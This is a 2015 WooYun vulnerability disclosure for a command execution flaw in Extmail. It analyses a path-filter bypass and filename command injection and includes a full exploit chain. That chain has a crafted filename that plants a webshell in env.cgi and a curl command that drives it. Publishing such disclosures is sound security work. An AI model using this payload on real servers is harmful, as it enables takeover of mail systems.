当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151160

漏洞标题:Extmail存在任意命令执行漏洞

相关厂商:Extmail

漏洞作者: Map

提交时间:2015-11-02 09:04

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-06: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

Extmail 是一个流行的邮箱部署应用,很多公司都使用了该产品来部署邮箱。
它存在一个任意命令执行漏洞,通过该漏洞可以获取服务器的权限。
这个漏洞要感谢letvcloud 的 yangtong 、ifeng.com 的caoyang。

详细说明:


libs/Ext/App/Message.pm 内:
有以下代码:

my $cmd = "$sys->{SYS_CONFIG}/tools/spam_report.pl --type=$app --report_spam --single --msg=$msg";


如果我们可以控制$msg,我们就可以执行任意代码,往上走看$msg 从哪里来。
my $msg = $MSGFILE;
再往上走:

$MSGFILE = $ENV{MAILDIR}; # XXX
$MSGFILE .= '/'._name2mdir($FOLDER);


省略一点代码……

if($file eq $MSGID || !$MSGID){
$MSGFILE .= '/cur/'.$file;


所以 如果$file(文件名) 等于 $MSGID ,那么就会把文件名附加给$MSGFILE 。
好吧,我直接进入主题,只要我们能再cur下放一个文件名对的文件,那么我们就可以执行任意命令了,我们怎么把文件放过去呢?
在 libs/Ext/Storage/Fileman.pm 内

sub op_move {
my ($from, $to) = @_;
$from = fixpath($from);
$to = fixpath($to);


省略一点代码……

rename(untaint($rfrom), untaint("$rto/$fromname")) ||


…………
我们看看fixpath是怎么写的。

sub fixpath {
my $path = shift;
# fix bug, old bug code: $path =~ s#\.{2,}/##g;
$path =~ s#/\.+##g; # strip /.. or /... etc
$path =~ s#\.+/##g; # strip ../ or .../ etc
$path =~ s#\\\.+##g; # strip \. or \... etc
$path =~ s#\\+##g; # strip \\ or \\\ etc
$path;
}


还是那句话,多字节的替换是不安全的。
当提交的内容是:..\\/cur/的时候,剩下的会是../cur/,所以使用这个网盘功能,上传了文件之后,我们可以把这个文件顺利的移动到./cur/下,也就是这个用户的收件箱。
其实运气特别好,因为fixpath函数要是单独使用的话,可以是剩下../的,如果和$CFG{path}使用的话,就毛都不剩下了,例如:

my $rto = fixslash(fixpath("$CFG{path}/$to"));


接下来我还是演示一下这个漏洞吧,使用官方的在线演示站点演示一下,我直接使用官方的测试版本测试吧

2.pic_hd.jpg


(接下来的所有URL里出现的sid参数都为当前登录身份的sid,每个登录用户的是不一样的,请知)
在 http://**.**.**.**/extmail/cgi/index.cgi 使用demo 账户登录进去。
在网盘功能页面
http://**.**.**.**/extmail/cgi/netdisk.cgi?__mode=list_dir&sid=336f95e4406cbeb90dc4754b112785b0 上传一封邮件格式的文件,例如:
文件名:1

1.jpg


内容:

From: "=?ISO-8859-1?B?dGVzdA==?=" <xxx@**.**.**.**>
To: xxx@**.**.**.**
Subject: =?ISO-8859-1?B?bmloYW95YQ==?=
Date: Fri, 30 Oct 2015 10:37:43 +0800
Mime-version: 1.0
X-Originating-Ip: []
X-Mailer: ExtMail 1.1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: base64
bmloYW95YQ0K


然后给该文件修改一个名字:
&& cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd var && cd www && cd cgi-bin && cd extmail && cd cgi && echo 'system($ENV{"HTTP_EVIL"});' >> env.cgi &&
然后用 firebug 修改一下表单内的 / 为 ..\\/cur/ 。

1.pic.jpg


3.pic.jpg


然后选择该下拉,点击 “移动到” ,然后你就回在收件箱里看到这封邮件。

4.pic.jpg


然后查看框代码,搜素report,找到对应的URL,然后将msgid里的参数做一下URL编码。

5.pic_hd.jpg


readmsg.cgi?__mode=report&sid=336f95e4406cbeb90dc4754b112785b0&folder=Inbox&pos=0&msgid=&& cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd var && cd www && cd cgi-bin && cd extmail && cd cgi && echo 'system($ENV{"HTTP_EVIL"});' >> env.cgi &&


好了,你已经拥有了一个更好操作的webshell了。

6.pic_hd.jpg


具体的路径:http://**.**.**.**/extmail/cgi/env.cgi 会告诉你。
curl -H "EVIL:ls -al" http://**.**.**.**/extmail/cgi/env.cgi -silence |grep -v "<"

7.pic_hd.jpg


就是这么顺利。

漏洞证明:

修复方案:

你懂的。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-11-06 15:07

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件和电话通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无